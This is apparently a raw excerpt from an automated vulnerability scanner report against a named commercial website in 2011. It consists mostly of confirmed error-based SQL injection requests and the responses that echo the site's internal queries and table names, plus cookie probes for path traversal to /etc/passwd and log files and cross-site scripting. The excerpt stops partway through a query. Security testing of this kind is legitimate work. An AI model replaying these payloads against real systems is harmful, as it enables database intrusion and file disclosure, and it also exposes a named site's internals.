select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lodi00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lodi00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lodi00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lodi00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lodi00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lodi00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lodi00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lodi00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/lodi00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc' OR prj.project_page_url = 'leadflow/lodi00/project.php?catId='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'&iusrc=iupsc/'Duplicate entry '_!@4dilemma:1' for key 1

- /ppc/leadflow/parl00/project.php

/ppc/leadflow/parl00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/parl00/project.php?catId=10002&iusrc='%2B(select+1+and+row(1%2c..

Parameters

Parameter	Type	Value
catId	GET	10002
iusrc	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'

Request

GET /ppc/leadflow/parl00/project.php?catId=10002&iusrc='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:30:08 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=544lqup2abq45r6l90icof60l4; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_video_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_mobile_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/parl00/project.php?catId=10002&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/'Duplicate entry '_!@4dilemma:0' for key 1

- /ppc/leadflow/obtm00/project.php

/ppc/leadflow/obtm00/project.php CONFIRMED

http://www.insideup.com/ppc/leadflow/obtm00/project.php?catId=80011&iusrc='%2B(select+1+and+row(1%2c..

Parameters

Parameter	Type	Value
catId	GET	80011
iusrc	GET	'+(select 1 and row(1,1)>(select count(),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()2))x from (select 1 union select 2)a group by x limit 1))+'

Request

GET /ppc/leadflow/obtm00/project.php?catId=80011&iusrc='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B' HTTP/1.1
Referer: http://www.insideup.com/selectvendors.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.insideup.com
Cookie: OAVARS[a08b960a\0\'\"--></style></script><script>netsparker(0x0002ED)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../etc/httpd/logs/error_log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache2/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[NSFTW]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[//netsparker.com/n/n.css?0x000308]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../var/log/apache/error.log]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[\'+NSFTW+\']=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../proc/self/version\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[javascript:netsparker(0x000323)]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%225%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[<script>ns(0x000332)</script>]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[../../../../../../../../../../../etc/passwd\0avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[body{x:expression(netsparker(0x000352))}]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%227%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D; OAVARS[avw.php\0]=a%3A3%3A%7Bs%3A8%3A%22bannerid%22%3Bs%3A1%3A%226%22%3Bs%3A6%3A%22zoneid%22%3Bs%3A1%3A%222%22%3Bs%3A6%3A%22oadest%22%3Bs%3A38%3A%22http%3A%2F%2Fwww.insideup.com%2Fadvertise.html%22%3B%7D
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Wed, 20 Apr 2011 02:29:53 GMT
Server: Apache/2.2.9 (Fedora)
X-Powered-By: PHP/5.2.6
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: PHPSESSID=f84fgck871o47vr7vhekf3l3l3; path=/
Content-Length: 4868
Connection: close
Content-Type: text/html; charset=UTF-8

select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_one_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_two_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select prj.catId,prj.groupId,grps.group_name,prj.templateId,prj.project_page_url from lead_flow_dynamic_pages_details prj left join sub_category cats on cats.sub_category_id = prj.catId left join lead_flow_template temps on temps.template_id = prj.templateId left join lead_flow_group grps on grps.group_id = prj.groupId where prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'' OR prj.project_page_url = 'leadflow/obtm00/project.php?catId=80011&iusrc='+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'/' union select 